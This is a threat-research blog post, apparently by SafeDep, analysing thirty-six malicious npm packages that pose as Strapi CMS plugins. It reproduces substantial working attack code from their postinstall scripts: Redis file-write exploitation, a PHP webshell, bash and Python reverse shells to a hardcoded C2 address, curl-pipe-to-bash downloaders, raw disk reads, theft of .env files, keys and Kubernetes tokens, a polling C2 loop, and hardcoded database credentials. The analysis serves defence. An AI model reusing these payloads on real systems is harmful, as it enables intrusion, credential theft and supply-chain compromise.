---
title: "Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2"
description: "A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight distinct payloads evolving from Redis RCE exploitation and Docker container escape through direct PostgreSQL database theft with hardcoded credentials to fileless reverse shells targeting a cryptocurrency payment platform's Jenkins CI pipeline.\n"
url: "https://safedep.io/blog/malicious-npm-strapi-plugin-events-c2-agent"
author: "SafeDep Team"
published: "2026-04-03"
---

# Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2

## TL;DR

A coordinated campaign of **thirty-six malicious npm packages** disguised as Strapi CMS plugins was
published using four sock-puppet npm accounts (`umarbek1233`, `kekylf12`, `tikeqemif26`, and `umar_bektembiev1`). Contrary to what you might expect from
a package-spam campaign, the analyzed packages carry **different payloads** — eight distinct variants
in total — revealing a real-time attack development session against a specific target.

The packages, in chronological order of publication:

1. **`strapi-plugin-cron`** (02:02 UTC) — Redis RCE exploitation: injects crontab entries,
   writes PHP webshells and Node.js reverse shells to Strapi uploads, attempts SSH
   `authorized_keys` injection, reads raw disk via `mknod`+`dd`, and exfiltrates a Guardarian
   API module.
2. **`strapi-plugin-config`** (02:47 UTC) — Redis + Docker overlay escape: discovers Docker
   overlay `upperdir` paths, writes shell payloads to overlay and host-accessible directories,
   launches a Python reverse shell, reads raw disk for Elasticsearch and wallet credentials, and
   injects hooks into `node_modules`.
3. **`strapi-plugin-server`** (03:01 UTC), **`strapi-plugin-database`** (03:05 UTC),
   **`strapi-plugin-core`** (03:06 UTC), **`strapi-plugin-hooks`** (03:37 UTC) — Direct reverse
   shells: hostname-gated (`hostname.includes('prod')`), downloads and executes a shell script
   from the C2, launches bash (port 4444) and Python (port 8888) reverse shells, and writes+executes
   shell payloads via Redis.
4. **`strapi-plugin-monitor`** (03:40 UTC) — Credential harvester + short C2: 8-phase attack with
   smart `env_keys` filtering, PostgreSQL connection string hunting, Redis access, wallet/key file
   search, and a 2.5-minute polling C2 loop.
5. **`strapi-plugin-events`** (03:46 UTC) — Full credential harvester + long C2: the most
   comprehensive variant with 11 phases including `.env` file theft, full environment dump, Strapi
   config exfiltration, filesystem-wide secret discovery, Redis data dump, network reconnaissance,
   Docker/Kubernetes secret theft, private key harvesting, and a 5-minute polling C2 loop.
6. **`strapi-plugin-seed`** (04:45 UTC) — Direct PostgreSQL database exploitation: connects using
   hardcoded credentials (`user_strapi` / `1QKtYPp18UsyU2ZwInVM`), dumps Strapi webhooks and
   `core_store` secrets, enumerates all databases on the server, dumps tables matching
   wallet/transaction/deposit patterns, and explicitly probes for databases named `guardarian`,
   `guardarian_payments`, `payments`, `exchange`, and `custody`.
7. **`strapi-plugin-api@3.6.8`** (11:53 UTC) — Persistent implant: hostname-gated
   (`hostname === 'prod-strapi'`), writes a persistent C2 agent to `/tmp/.node_gc.js`, spawns it
   detached, and installs a crontab entry for survival across restarts.
8. **`strapi-plugin-api@3.6.9`** (15:04 UTC) — Fileless reverse shell + targeted credential theft:
   targets `/var/www/nowguardarian-strapi/` and `/opt/secrets/strapi-green.env`, references a
   Jenkins CI pipeline in code comments, sweeps `/opt/secrets/` and `/var/www/*/`, and spawns a
   fileless persistent reverse shell via `node -e`.

**Impact:**

- Exploits Redis via `CONFIG SET` to write crontab entries, webshells, reverse shells, and SSH keys
- Attempts Docker container escape via overlay filesystem discovery
- Launches bash and Python reverse shells on ports 4444 and 8888
- Reads raw disk via `mknod`+`dd` to extract passwords, wallet mnemonics, and SSH private keys
- Connects directly to PostgreSQL using hardcoded credentials and dumps wallet/transaction tables
- Enumerates all databases on the server, probing for `guardarian`, `guardarian_payments`, `exchange`, `custody`
- Exfiltrates `.env` files, environment variables, Strapi configuration, and private keys
- Dumps Redis keys and searches for PostgreSQL connection strings
- Steals Docker/Kubernetes secrets and service account tokens
- Opens polling C2 sessions for arbitrary command execution
- Installs persistent backdoors (crontab, detached processes, fileless execution)
- Targets a specific cryptocurrency payment platform's infrastructure

**Indicators of Compromise (IoC):**

[IoC: Malicious packages](https://safedep.io/data/blogs/strapi-plugin-events-related-packages.csv)

[IoC: Infrastructure, credentials, and persistence](https://safedep.io/data/blogs/strapi-plugin-events-iocs.csv)

## Analysis

### Campaign Overview

Thirty-six packages were published using four npm accounts (`umarbek1233` with 9 packages,
`kekylf12` with 7 packages, `tikeqemif26` with 10 packages, `umar_bektembiev1` with 10 packages)
that share the same 3-file package structure and identical attack patterns. The `umarbek1233` and
`kekylf12` accounts share the same disposable email provider (`@sharebot.net`), identical
Node.js/npm versions (v24.13.1 / npm 11.8.0). This is a single operator using multiple
sock-puppet accounts for the most targeted variants.

Notably, the `umar_bektembiev1` account published the earliest wave — including
`strapi-plugin-nordica`, `strapi-plugin-finseven`, `strapi-plugin-guardarian-ext`, and other
packages — 3 days before the `umarbek1233` and `kekylf12` batches. The `kekylf12` account was
active during both later publishing windows — `strapi-plugin-seed` was published at 04:45 UTC
(within an hour of the last `umarbek1233` package), while the `strapi-plugin-api` versions came
7–10 hours later. The `tikeqemif26` account published a further wave including the
`strapi-plugin-nordica-*` series. This overlap suggests all four accounts were operated by the
same actor.

Every package contains three files (`package.json`, `index.js`, `postinstall.js`), has no
description, repository, or homepage, and uses version 3.6.8 to appear as a mature Strapi v3
community plugin. The package names follow the naming convention used by legitimate packages like
`strapi-plugin-comments` or `strapi-plugin-upload`. All official Strapi plugins are scoped under
`@strapi/`, making these unscoped names a social engineering choice targeting developers searching
for community plugins.

The `package.json` across all ten packages is structurally identical:

```json
// package/package.json
{
  "name": "strapi-plugin-events",
  "version": "3.6.8",
  "main": "index.js",
  "scripts": {
    "postinstall": "node postinstall.js"
  },
  "license": "MIT"
}
```

The `index.js` exports an empty function, contributing nothing to any application:

```javascript
// package/index.js
module.exports = () => {};
```

The entire payload lives in `postinstall.js`, which is different for each package. The attack
executes immediately on `npm install` via the `postinstall` script — no user interaction or
`require()` call is needed. The postinstall script runs with the privileges of the installing
user, which in CI/CD environments and Docker containers often means root access.

### Payload 1: Redis RCE Exploitation (strapi-plugin-cron)

The earliest package in the campaign attempts to weaponize a locally accessible Redis instance
for remote code execution. This is the most aggressive payload — it goes far beyond data theft
to attempt persistent host compromise through Redis.

**Chunked exfiltration.** Unlike the later payloads that send data in a single POST, this
variant implements a chunking protocol that splits large payloads into 50KB segments with
part numbering (e.g., `/exfil/cr-redis-info-p1of3`):

```javascript
// package/postinstall.js (strapi-plugin-cron)
function send(tag, data) {
  return new Promise(function (resolve) {
    var body = typeof data === 'string' ? data : JSON.stringify(data);
    var chunks = [];
    for (var i = 0; i < body.length; i += 50000) chunks.push(body.substring(i, i + 50000));
    var idx = 0;
    (function next() {
      if (idx >= chunks.length) return resolve();
      var s = chunks.length > 1 ? '-p' + (idx + 1) + 'of' + chunks.length : '';
      var req = http.request({
        hostname: VPS,
        port: PORT,
        path: '/exfil/' + tag + s,
        // ...
      });
    })();
  });
}
```

**Redis crontab injection.** The script uses the classic Redis `CONFIG SET dir` + `SAVE`
technique to write arbitrary files to the filesystem. It attempts to inject a cron entry that
downloads and executes a shell script from the C2 every minute:

```javascript
// package/postinstall.js (strapi-plugin-cron)
var cronPayload = '\\n\\n*/1 * * * * curl -s http://' + VPS + ':' + PORT + '/shell.sh | bash\\n\\n';

var cronPaths = [
  { dir: '/var/spool/cron/crontabs', file: 'root' },
  { dir: '/var/spool/cron', file: 'root' },
  { dir: '/etc/cron.d', file: 'redis_job' },
  { dir: '/etc', file: 'crontab' },
  { dir: '/tmp', file: 'cron_test' },
];

for (var i = 0; i < cronPaths.length; i++) {
  var p = cronPaths[i];
  var cmd =
    'CONFIG SET dir ' +
    p.dir +
    '\r\n' +
    'CONFIG SET dbfilename ' +
    p.file +
    '\r\n' +
    'SET cron_payload "' +
    cronPayload +
    '"\r\n' +
    'SAVE\r\n';
  var result = await redisCmd(cmd);
}
```

This writes the Redis database file (containing the cron payload surrounded by binary data) to
the system crontab directories. Five paths are attempted, including a `/tmp/cron_test` dry-run
to verify write capability first.

**PHP webshell and Node.js reverse shell via Redis.** The script writes two additional payloads
to Strapi's public uploads directory:

```javascript
// package/postinstall.js (strapi-plugin-cron)
// PHP webshell
var webshellPayload = '\\n<?php system($_GET["c"]); ?>\\n';
var webshellCmd =
  'CONFIG SET dir /app/public/uploads\r\n' +
  'CONFIG SET dbfilename shell.php\r\n' +
  'SET webshell "' +
  webshellPayload +
  '"\r\n' +
  'SAVE\r\n';

// Node.js reverse shell
var nodeShell =
  '\\nvar net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);' +
  'var c=new net.Socket();c.connect(' +
  PORT +
  ',"' +
  VPS +
  '",function(){' +
  'c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});\\n';
```

If Redis has write access to `/app/public/uploads/`, the attacker gets a PHP webshell at
`/uploads/shell.php?c=<command>` and a Node.js reverse shell at `/uploads/revshell.js`.

**SSH authorized_keys injection via Redis.** The script attempts to write an SSH public key to
`/root/.ssh/authorized_keys`:

```javascript
// package/postinstall.js (strapi-plugin-cron)
var sshPayload = '\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test root@vps\\n\\n';
var sshCmd =
  'CONFIG SET dir /root/.ssh\r\n' +
  'CONFIG SET dbfilename authorized_keys\r\n' +
  'SET sshkey "' +
  sshPayload +
  '"\r\n' +
  'SAVE\r\n';
```

The key used here (`AAAAB3NzaC1yc2EAAAADAQABAAABgQC7test`) is a placeholder — the comment
`// Generate SSH keypair on VPS later` confirms this is preparation for a real key to be
injected via the C2 channel.

**Raw disk read.** The script creates a block device node and uses `dd` to read raw disk,
searching for secrets in the binary data:

```javascript
// package/postinstall.js (strapi-plugin-cron)
run('mknod /tmp/hostdisk b 8 1 2>/dev/null');

var rawSecrets = run(
  'dd if=/dev/sda1 bs=4096 count=5000 2>/dev/null | strings | ' +
    'grep -iE "PASSWORD=|SECRET=|ELASTIC|WALLET|PRIVATE_KEY|MNEMONIC|API_KEY=" | sort -u | head -100',
  60000
);
```

This bypasses filesystem permissions entirely — even deleted files or files in other containers
sharing the same host disk can be recovered this way.

**Guardarian API module exfiltration.** The script specifically targets a Guardarian API
integration module, confirming knowledge of the target as early as the first package:

```javascript
// package/postinstall.js (strapi-plugin-cron)
await send('cr-gd-module', run('find /app/exteranl-apis -type f -name "*.js" -exec cat {} + 2>/dev/null'));
```

Note the typo `exteranl-apis` (instead of `external-apis`), which must match the target's
actual directory name — further evidence of prior reconnaissance.

### Payload 2: Redis + Docker Overlay Escape (strapi-plugin-config)

Published 45 minutes after the first package, this payload adds Docker container escape
techniques to the Redis exploitation approach.

**Docker overlay filesystem discovery.** The script parses `mount` output to find the Docker
overlay `upperdir` — the host filesystem path where the container's writable layer is stored:

```javascript
// package/postinstall.js (strapi-plugin-config)
var mountInfo = run('mount | grep overlay | head -3');
var upperMatch = mountInfo.match(/upperdir=([^,\s]+)/);
var upperDir = upperMatch ? upperMatch[1] : '';
```

If the container has access to `/proc/mounts` or the `mount` command, the `upperdir` reveals
the absolute host path. The script then uses Redis `CONFIG SET dir` to write shell payloads to
the overlay path, effectively writing files visible to the host outside the container.

**Strategic Redis write targets.** The script expands the Redis write strategy beyond crontab
to multiple directories, including the discovered overlay path:

```javascript
// package/postinstall.js (strapi-plugin-config)
var paths = [
  { dir: upperDir, file: 'shell.sh', desc: 'overlay-root' },
  { dir: '/tmp', file: 'shell.sh', desc: 'tmp' },
  { dir: '/var/lib/redis', file: 'shell.sh', desc: 'redis-lib' },
  { dir: '/var/tmp', file: 'shell.sh', desc: 'var-tmp' },
  { dir: '/dev/shm', file: 'shell.sh', desc: 'dev-shm' },
  { dir: '/app/public', file: 'shell.sh', desc: 'app-public' },
  { dir: '/app/public/uploads', file: 'shell.sh', desc: 'app-uploads' },
];
```

**Python reverse shell.** In addition to Redis-based techniques, the script launches a direct
Python reverse shell on port 4444:

```javascript
// package/postinstall.js (strapi-plugin-config)
execSync(
  'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
    "s.connect(('" +
    VPS +
    "',4444));" +
    'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
    "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
  { timeout: 3000 }
);
```

**Raw disk read for specific targets.** The disk scanning expands to search for Elasticsearch
credentials, Docker container configs, and cryptocurrency wallet data:

```javascript
// package/postinstall.js (strapi-plugin-config)
var rawDocker = run(
  'dd if=/dev/sda1 bs=4096 skip=0 count=50000 2>/dev/null | strings | ' +
    'grep -B1 -A1 "config.v2.json\\|HOT_WALLET\\|COLD_WALLET\\|DEPOSIT_ADDRESS\\|payment\\|MNEMONIC" | head -100',
  120000
);
```

The search for `HOT_WALLET`, `COLD_WALLET`, `DEPOSIT_ADDRESS`, and `MNEMONIC` in raw disk
data confirms the cryptocurrency theft objective.

**Node_modules hooks injection.** The script writes a reverse shell trigger into the
application's `node_modules` directory via Redis:

```javascript
// package/postinstall.js (strapi-plugin-config)
var hookPayload = '\\nrequire("child_process").execSync("curl ' + VPS + ':' + PORT + '/shell.sh|bash");\\n';
var hookCmd =
  'CONFIG SET dir /app/node_modules\r\n' +
  'CONFIG SET dbfilename .hooks.js\r\n' +
  'SET hook "' +
  hookPayload +
  '"\r\n' +
  'SAVE\r\n';
```

### Payload 3: Direct Reverse Shells (strapi-plugin-server, database, core, hooks)

Four packages published between 03:01 and 03:37 UTC share an identical, simplified payload.
The attacker appears to have abandoned the Redis exploitation approach (likely because it wasn't
working) and switched to direct shell execution.

**Hostname gating.** These packages gate on the hostname containing `prod`:

```javascript
// package/postinstall.js (strapi-plugin-server)
var hn = run('hostname').trim();
await send('sv-start', hn);
if (!hn.includes('prod')) {
  await send('sv-skip', 'not-prod');
  return;
}
```

This is a looser check than Payload 7's exact `prod-strapi` match — it triggers on any
hostname containing "prod" (e.g., `prod-strapi`, `production-1`, `prod-web`).

**Multi-vector reverse shell.** The script attempts three different reverse shell methods in
rapid succession:

```javascript
// package/postinstall.js (strapi-plugin-server)
// 1. Download and execute shell script from C2
run('curl -s http://' + VPS + ':9999/shell.sh -o /tmp/vps_shell.sh 2>/dev/null');
run('chmod +x /tmp/vps_shell.sh');
execSync('nohup bash /tmp/vps_shell.sh &>/dev/null &', { timeout: 3000 });

// 2. Bash reverse shell on port 4444
execSync('nohup bash -c "bash -i >& /dev/tcp/' + VPS + '/4444 0>&1" &>/dev/null &', { timeout: 3000 });

// 3. Python reverse shell on port 8888
execSync(
  'nohup python3 -c "import socket,subprocess,os;s=socket.socket();' +
    "s.connect(('" +
    VPS +
    "',8888));" +
    'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
    "subprocess.call(['/bin/bash','-i'])\" &>/dev/null &",
  { timeout: 3000 }
);
```

Three different ports (9999, 4444, 8888) are used, suggesting the attacker has multiple
listeners ready and is hedging against firewall rules that might block specific ports.

**Redis-assisted shell execution.** As a fallback, the script writes a shell downloader via
Redis and executes the resulting file:

```javascript
// package/postinstall.js (strapi-plugin-server)
c.write(
  'CONFIG SET dir /tmp\r\nCONFIG SET dbfilename redis_exec.sh\r\n' +
    'SET x "\\n#!/bin/bash\\ncurl -s http://' +
    VPS +
    ':9999/shell.sh|bash\\n"\r\n' +
    'SAVE\r\nCONFIG SET dir /var/lib/redis\r\nCONFIG SET dbfilename dump.rdb\r\n'
);

// Later: execute the Redis-written file
run('chmod +x /tmp/redis_exec.sh 2>/dev/null; nohup bash /tmp/redis_exec.sh &>/dev/null &');
```

### Payload 4: Credential Harvester + Short C2 (strapi-plugin-monitor)

Published just 3 minutes before `strapi-plugin-events`, this package represents a pivot from
direct exploitation to reconnaissance. The attacker stopped trying to get a shell and started
collecting data.

**Smart beacon with env_keys filtering.** Unlike the raw hostname beacon in earlier payloads,
this variant's beacon includes a filtered list of sensitive-looking environment variable names:

```javascript
// package/postinstall.js (strapi-plugin-monitor)
var info = {
  id: ID,
  hostname: run('hostname').trim(),
  whoami: run('whoami').trim(),
  pwd: process.cwd(),
  uname: run('uname -a').trim(),
  ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
  node: process.version,
  env_keys: Object.keys(process.env).filter(function (k) {
    return /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i.test(k);
  }),
};
```

The `env_keys` filter tells the attacker which sensitive variables exist before exfiltrating
their values — an optimization for noisy environments with hundreds of variables.

**File dump with `/opt/app/` paths.** The target paths shift from `/app/` (standard Docker) to
`/opt/app/` — a convention used by some deployment tools:

```javascript
// package/postinstall.js (strapi-plugin-monitor)
var files = [
  '/opt/app/.env',
  '/opt/app/config/database.js',
  '/opt/app/config/server.js',
  '/opt/app/config/plugins.js',
  '/opt/app/package.json',
  '/root/.env',
  '/home/strapi/.env',
  '/etc/hostname',
  process.cwd() + '/.env',
  process.cwd() + '/config/database.js',
];
```

**PostgreSQL connection string hunting.** A new phase not present in any earlier payload:

```javascript
// package/postinstall.js (strapi-plugin-monitor)
var pgstr = run("grep -r 'postgres://' /opt/app/ 2>/dev/null; grep -r 'DATABASE_URL' /opt/app/ 2>/dev/null").slice(
  0,
  5000
);
await post('/c2/' + ID + '/pgstr', pgstr);
```

**Shorter C2 loop.** The polling C2 runs for 30 rounds at 5-second intervals (2.5 minutes),
compared to the 60 rounds (5 minutes) in the next payload:

```javascript
// package/postinstall.js (strapi-plugin-monitor)
for (var round = 0; round < 30; round++) {
  var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
  if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop') {
    var result = run(cmdResp.trim());
    await post(
      '/c2/' + ID + '/result',
      JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
    );
  }
  await new Promise(function (r) {
    setTimeout(r, 5000);
  });
}
```

### Payload 5: Full Credential Harvester + Long C2 (strapi-plugin-events)

Published 6 minutes after `strapi-plugin-monitor`, this is the most comprehensive
reconnaissance payload in the campaign. It extends Payload 4 with broader file discovery,
a full environment dump, Redis data extraction, network topology mapping, Docker/Kubernetes
secret theft, and a longer C2 window.

**C2 infrastructure setup.** The script establishes communication with the hardcoded server:

```javascript
// package/postinstall.js (strapi-plugin-events)
var http = require('http');
var exec = require('child_process').execSync;
var fs = require('fs');
var VPS = '144.31.107.231';
var PORT = 9999;
var ID = 'guard-' + Math.random().toString(36).slice(2, 8);
```

Each infected host generates a random session ID (e.g., `guard-k7f2m9`) used to namespace all
C2 communications. The `post()` helper sends data via plain HTTP POST to the C2 server with a
15-second timeout.

**Phase 1: Beacon.** The script sends system reconnaissance data to `/c2/<id>/beacon`:

```javascript
// package/postinstall.js (strapi-plugin-events)
var info = {
  id: ID,
  hostname: run('hostname').trim(),
  whoami: run('whoami').trim(),
  pwd: process.cwd(),
  uname: run('uname -a').trim(),
  ip: run('hostname -I 2>/dev/null || echo n/a').trim(),
  node: process.version,
};
await post('/c2/' + ID + '/beacon', info);
```

This gives the attacker an immediate inventory of the compromised host: username, hostname,
kernel version, internal IP, and Node.js version.

**Phase 2: .env file theft.** The script reads `.env` files from hardcoded paths targeting
common Strapi deployment layouts:

```javascript
// package/postinstall.js (strapi-plugin-events)
var envPaths = [
  '/app/.env',
  '/app/.env.production',
  '/app/.env.local',
  '/data/.env',
  '/home/strapi/.env',
  '/home/node/.env',
  '/opt/app/.env',
  '/srv/.env',
  process.cwd() + '/../.env',
  process.cwd() + '/../../.env',
  process.cwd() + '/../../../.env',
];
```

The paths `/app/.env`, `/home/strapi/.env`, and `/home/node/.env` target Docker containers
running Strapi with common base images. The relative path traversals (`../../.env`) walk up
from the `node_modules` install directory to reach the project root.

**Phase 3: Environment variable dump.** The script runs `env` via shell to capture every
environment variable, including database connection strings, cloud provider credentials, and
JWT secrets that Strapi applications commonly configure through environment variables.

```javascript
// package/postinstall.js (strapi-plugin-events)
var envDump = run('env');
await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));
```

**Phase 4: Strapi configuration files.** The script specifically targets Strapi's configuration
directory structure:

```javascript
// package/postinstall.js (strapi-plugin-events)
var configs = [
  '/app/config/database.js',
  '/app/config/server.js',
  '/app/config/plugins.js',
  '/app/config/middleware.js',
  '/app/config/functions/bootstrap.js',
  '/app/config/environments/production/database.json',
  '/app/package.json',
  '/app/yarn.lock',
];
```

These files contain database connection details, API keys for third-party plugins, and the
application's dependency tree.

**Phase 5: Filesystem-wide .env discovery.** The script uses `find` to locate every `.env` file
on the system, up to 5 directories deep:

```javascript
// package/postinstall.js (strapi-plugin-events)
var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");
await post('/c2/' + ID + '/allenv', allEnv);
```

This is the behavior flagged by our dynamic analysis system. It catches `.env` files in
non-standard locations that the hardcoded paths in Phase 2 would miss.

**Phase 6: Redis data dump.** The script opens a raw TCP connection to the local Redis instance
and dumps all keys:

```javascript
// package/postinstall.js (strapi-plugin-events)
var net = require('net');
var c = new net.Socket();
c.connect(6379, '127.0.0.1', function () {
  c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');
});
```

Strapi deployments commonly use Redis for caching and session storage. This dumps server info,
database size, and every key name, which can include session tokens and cached API responses.

**Phase 7: Network reconnaissance.** The script collects network topology information:

```javascript
// package/postinstall.js (strapi-plugin-events)
var internal = run(
  'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null'
);
```

This maps the internal network for lateral movement: DNS resolvers, ARP neighbors, and routing
tables reveal other services and hosts reachable from the compromised container.

**Phase 8: Docker and Kubernetes secrets.** The script attempts to read container orchestration
secrets:

```javascript
// package/postinstall.js (strapi-plugin-events)
var docker = run(
  'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null'
);
```

If the Docker socket is accessible, the attacker can control the host's Docker daemon. The
Kubernetes service account token enables API access to the cluster, potentially allowing
privilege escalation beyond the compromised pod.

**Phase 9: Private key and wallet theft.** The script uses `find` to locate cryptographic keys
and cryptocurrency wallet files:

```javascript
// package/postinstall.js (strapi-plugin-events)
var keys = run(
  "find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null"
);
```

It then reads up to 10 of the discovered files and sends their contents to the C2 server. This
captures TLS private keys, SSH keys, and any files with "private" or "secret" in their name.

**Phase 10: Strapi database access attempt.** The script attempts to load the application's
knex database driver and configuration:

```javascript
// package/postinstall.js (strapi-plugin-events)
var dbQuery = run(
  "node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1"
);
```

**Phase 11: Polling C2 loop.** The final phase establishes a persistent command-and-control
channel. The script polls the C2 server every 5 seconds for 60 rounds (approximately 5 minutes),
executing any command the server returns:

```javascript
// package/postinstall.js (strapi-plugin-events)
for (var round = 0; round < 60; round++) {
  var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round }));
  if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') {
    var result = run(cmdResp.trim());
    await post(
      '/c2/' + ID + '/result',
      JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) })
    );
  }
  await new Promise(function (r) {
    setTimeout(r, 5000);
  });
}
```

This gives the attacker interactive shell access to the compromised host. The server responds
with `nop` or `ok` when idle, and with a shell command when active. Results are sent back to
`/c2/<id>/result`. Using `execSync` means each command runs with the full privileges of the
Node.js process.

#### Data Exfiltration

All stolen data is sent via plain HTTP POST to `144[.]31[.]107[.]231:9999`. The C2 protocol
uses path-based routing:

| Path                  | Data                                     |
| --------------------- | ---------------------------------------- |
| `/c2/<id>/beacon`     | System info (hostname, user, IP, kernel) |
| `/c2/<id>/env`        | Individual .env file contents            |
| `/c2/<id>/envdump`    | Full `env` output                        |
| `/c2/<id>/config`     | Strapi configuration files               |
| `/c2/<id>/allenv`     | List of all .env files on disk           |
| `/c2/<id>/sortedenv`  | Sorted environment variables             |
| `/c2/<id>/redis-full` | Redis server info and all keys           |
| `/c2/<id>/network`    | /etc/hosts, resolv.conf, ARP, routes     |
| `/c2/<id>/docker`     | Docker socket, secrets, K8s tokens       |
| `/c2/<id>/keys`       | List of private key files found          |
| `/c2/<id>/keyfile`    | Contents of individual key files         |
| `/c2/<id>/result`     | Output of C2 commands                    |

No encryption is used. All data, including private keys and credentials, is transmitted in
plaintext over HTTP.

### Payload 6: PostgreSQL Database Exploitation (strapi-plugin-seed)

Published at 04:45 UTC under the `kekylf12` account — just one hour after the last `umarbek1233`
package — this payload represents the most direct evidence of prior compromise. It connects to
the target's PostgreSQL database using **hardcoded credentials**, confirming the attacker already
had access before this campaign began.

**Hardcoded database credentials.** The script uses `knex` (Strapi's database driver) with
real credentials baked into the source:

```javascript
// package/postinstall.js (strapi-plugin-seed)
var knex = require('knex');
var db = knex({
  client: 'pg',
  connection: {
    host: process.env.DATABASE_HOST || '127.0.0.1',
    port: process.env.DATABASE_PORT || 5432,
    user: process.env.DATABASE_USERNAME || 'user_strapi',
    password: process.env.DATABASE_PASSWORD || '1QKtYPp18UsyU2ZwInVM',
    database: process.env.DATABASE_NAME || 'strapi',
  },
});
```

The fallback values `user_strapi` and `1QKtYPp18UsyU2ZwInVM` are not generic defaults — they
are the target's actual database credentials. The code first checks environment variables (which
would be set in the target's container), falling back to hardcoded values if the variables are
missing.

**Strapi data dump.** The script queries Strapi-specific tables for secrets:

```javascript
// package/postinstall.js (strapi-plugin-seed)
// Strapi webhooks (internal API URLs)
var webhooks = await db.raw('SELECT * FROM strapi_webhooks');

// core_store — filtered for sensitive values
var store = await db.raw('SELECT * FROM core_store');
for (var i = 0; i < store.rows.length; i++) {
  var row = store.rows[i];
  var val = String(row.value || '');
  if (
    val.indexOf('secret') >= 0 ||
    val.indexOf('token') >= 0 ||
    val.indexOf('key') >= 0 ||
    val.indexOf('api') >= 0 ||
    val.indexOf('webhook') >= 0 ||
    val.indexOf('grant') >= 0 ||
    val.indexOf('password') >= 0 ||
    val.indexOf('auth') >= 0 ||
    row.key.indexOf('grant') >= 0 ||
    row.key.indexOf('users') >= 0
  ) {
    await post('/db/' + ID + '/store-' + i, JSON.stringify(row));
  }
}

// users-permissions settings (OAuth provider secrets)
var perms = await db.raw(
  "SELECT * FROM core_store WHERE key LIKE '%users-permissions%' OR key LIKE '%grant%' OR key LIKE '%provider%'"
);
```

**Cross-database enumeration.** The script lists all databases on the PostgreSQL server, then
connects to each non-system database and dumps tables matching cryptocurrency-related patterns:

```javascript
// package/postinstall.js (strapi-plugin-seed)
var dbs = await db.raw('SELECT datname FROM pg_database WHERE datistemplate = false');

for (var i = 0; i < otherDbs.length; i++) {
  var db2 = knex({
    client: 'pg',
    connection: {
      host: '127.0.0.1',
      port: 5432,
      user: 'user_strapi',
      password: '1QKtYPp18UsyU2ZwInVM',
      database: otherDbs[i].datname,
    },
  });
  var tables2 = await db2.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
  for (var j = 0; j < tables2.rows.length; j++) {
    var tn = tables2.rows[j].tablename;
    if (
      /wallet|key|address|transaction|deposit|withdraw|hot|cold|secret|setting|config|partner|user|token|balance/i.test(
        tn
      )
    ) {
      var data = await db2.raw('SELECT * FROM "' + tn + '" LIMIT 50');
      await post('/db/' + ID + '/otherdb-' + otherDbs[i].datname + '-' + tn, JSON.stringify(data.rows));
    }
  }
}
```

The table name regex — `wallet|transaction|deposit|withdraw|hot|cold|balance` — is
purpose-built for a cryptocurrency platform's database schema.

**Explicit Guardarian database probing.** The script then attempts to connect to six specific
database names:

```javascript
// package/postinstall.js (strapi-plugin-seed)
for (var dbname of ['payments', 'api_payments', 'guardarian', 'guardarian_payments', 'exchange', 'custody']) {
  try {
    var db3 = knex({
      client: 'pg',
      connection: {
        host: '127.0.0.1',
        port: 5432,
        user: 'user_strapi',
        password: '1QKtYPp18UsyU2ZwInVM',
        database: dbname,
      },
    });
    var t3 = await db3.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
    await post('/db/' + ID + '/found-db-' + dbname, JSON.stringify(t3.rows));
  } catch (e) {}
}
```

The names `guardarian`, `guardarian_payments`, `exchange`, and `custody` leave no doubt about
the target. The attacker is betting that the Strapi database user has cross-database access to
the payment platform's core financial databases — a common misconfiguration when multiple
services share a PostgreSQL instance.

**PostgreSQL role enumeration.** The script also dumps all database roles and their privileges:

```javascript
// package/postinstall.js (strapi-plugin-seed)
var roles = await db.raw('SELECT rolname, rolsuper, rolcanlogin FROM pg_roles');
await post('/db/' + ID + '/pg-roles', JSON.stringify(roles.rows));
```

This reveals whether `user_strapi` has superuser access and what other accounts exist on the
server.

**C2 polling loop.** Like Payload 5, this payload includes a 60-round polling C2 loop (5
minutes), using the `/db/<id>/` path namespace with session IDs prefixed `db-`.

### Payload 7: Hostname-Gated Persistent Implant (strapi-plugin-api@3.6.8)

`strapi-plugin-api@3.6.8` was published ~8 hours after the first batch, under a second npm
account (`kekylf12 <w1gtd@sharebot.net>`). It represents a significant evolution — this is no
longer a grab-and-go credential harvester but a **persistent implant** designed to survive
beyond the postinstall window.

